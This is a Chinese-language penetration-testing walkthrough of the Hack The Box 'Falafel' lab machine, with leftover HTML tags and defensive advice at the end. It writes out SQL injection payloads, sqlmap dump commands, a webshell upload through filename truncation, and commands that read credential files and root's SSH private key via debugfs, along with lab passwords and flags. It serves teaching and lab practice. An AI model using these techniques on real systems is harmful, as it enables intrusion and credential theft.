Falafel 渗透测试实战教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>
IP地址: 10.10.10.73<\/li>
开放端口:
22\/tcp: OpenSSH 7.2p2 (Ubuntu)<\/li>
80\/tcp: Apache httpd 2.4.18 (Ubuntu)<\/li> <\/ul> <\/li> <\/ul>
1.2 服务枚举<\/h3>
nmap -p- 10.10.10.73 --min-rate 1000<\/span> -sC -sV
<\/span><\/span><\/code><\/pre>发现关键信息:<\/p>

HTTP服务器头: Apache\/2.4.18 (Ubuntu)<\/li>
robots.txt中有一条禁止条目: \/*.txt<\/code><\/li>
<\/ul>
2. Web应用渗透<\/h2>
2.1 SQL注入攻击<\/h3>
2.1.1 手动测试<\/h4>
在登录页面测试SQL注入:<\/p>
username=<\/span>admin<\/span>' and '<\/span>1<\/span>'='<\/span>1<\/span>'--+&password=
<\/span><\/span><\/span>username=admin'<\/span> and<\/span> '1'<\/span>=<\/span>'2'<\/span>--+&password=
<\/span><\/span><\/span><\/code><\/pre>观察响应差异:<\/p>

用户名不存在: 显示"重试"<\/li>
用户名存在: 显示"Wrong identification: admin"<\/li>
<\/ul>
2.1.2 使用sqlmap自动化<\/h4>
sqlmap -r sql --level 5<\/span> --risk 3<\/span> --batch --string "Wrong identification"<\/span>
<\/span><\/span>sqlmap -r sql --level 5<\/span> --risk 3<\/span> --batch --string "Wrong identification"<\/span> --dump
<\/span><\/span><\/code><\/pre>获取到凭据:<\/p>

用户名: chris<\/li>
密码: juggling<\/li>
<\/ul>
2.2 管理员账户破解<\/h3>
使用MCollider工具爆破admin用户的MD5值:<\/p>
python3 MCollider.py -md5 0e4620
<\/span><\/span><\/code><\/pre>结果: 240610708 (对应MD5: 0e462097431906509019562988736854)<\/p>
3. 文件上传漏洞利用<\/h2>
3.1 文件截断攻击<\/h3>

上传文件会被保存在类似uploads\/0909-0757_e7753937572b0b96<\/code>的目录中<\/li>
测试文件名长度限制:<\/li>
<\/ol>
touch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.png
<\/span><\/span><\/code><\/pre>发现总长度限制为241字节，超长文件名会导致.png后缀丢失<\/p>
3.2 上传Webshell<\/h3>

创建恶意PHP文件:<\/li>
<\/ol>
cp p0wny.php AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png
<\/span><\/span><\/code><\/pre>
访问上传的Webshell:<\/li>
<\/ol>
http:\/\/10.10.10.73\/uploads\/0909-0811_ea7487f48ad80ceb\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
<\/code><\/pre>
4. 权限提升路径<\/h2>
4.1 获取数据库凭据<\/h3>
在Webshell中查看数据库连接文件:<\/p>
cat \/var\/www\/html\/connection.php
<\/span><\/span><\/code><\/pre>获取到:<\/p>

用户名: moshe<\/li>
密码: falafelIsReallyTasty<\/li>
<\/ul>
4.2 切换用户<\/h3>
su moshe
<\/span><\/span><\/code><\/pre>获取user.txt: 2b430278d922c8141b444ce36292e7f2<\/p>
5. 横向移动<\/h2>
5.1 利用帧缓冲设备<\/h3>

检查当前登录用户:<\/li>
<\/ol>
w
<\/span><\/span><\/code><\/pre>发现yossi用户已登录<\/p>

捕获帧缓冲内容:<\/li>
<\/ol>
cat \/dev\/fb0 > \/tmp\/screenshot.raw
<\/span><\/span><\/code><\/pre>
获取屏幕分辨率:<\/li>
<\/ol>
cat \/sys\/class\/graphics\/fb0\/virtual_size
<\/span><\/span><\/code><\/pre>
使用GIMP打开raw文件(分辨率1176x885)，导出为PNG查看<\/li>
<\/ol>
5.2 获取yossi凭据<\/h3>
从截图中发现:<\/p>

用户名: yossi<\/li>
密码: MoshePlzStopHackingMe!<\/li>
<\/ul>
6. 最终权限提升<\/h2>
6.1 检查块设备<\/h3>
df
<\/span><\/span>blkid
<\/span><\/span><\/code><\/pre>发现:<\/p>

sda1: 主磁盘<\/li>
sda2: 交换磁盘<\/li>
<\/ul>
6.2 使用debugfs<\/h3>
debugfs \/dev\/sda1
<\/span><\/span><\/code><\/pre>在debugfs交互模式中:<\/p>
cat \/root\/root.txt
cat \/root\/.ssh\/id_rsa
<\/code><\/pre>
6.3 获取root权限<\/h3>

设置私钥权限:<\/li>
<\/ol>
chmod 600<\/span> .\/id_rsa
<\/span><\/span><\/code><\/pre>
SSH登录root:<\/li>
<\/ol>
ssh -i \/tmp\/id_rsa root@10.10.10.73
<\/span><\/span><\/code><\/pre>
获取root.txt: 1f0167a6445788cc5c03f8ac93b82f71<\/li>
<\/ol>
7. 关键工具总结<\/h2>

nmap<\/strong>: 端口扫描和服务识别<\/li>
sqlmap<\/strong>: SQL注入自动化工具<\/li>
MCollider<\/strong>: MD5碰撞工具<\/li>
debugfs<\/strong>: 文件系统调试工具<\/li>
GIMP<\/strong>: 图像处理工具(用于查看帧缓冲数据)<\/li>
<\/ol>
8. 防御建议<\/h2>

对用户输入进行严格过滤，防止SQL注入<\/li>
限制上传文件类型和文件名长度<\/li>
使用更安全的哈希算法(如SHA-256)代替MD5<\/li>
限制对\/dev\/fb0等设备的访问<\/li>
定期检查系统上的suid文件和异常进程<\/li>
更新系统和软件到最新版本<\/li>
<\/ol>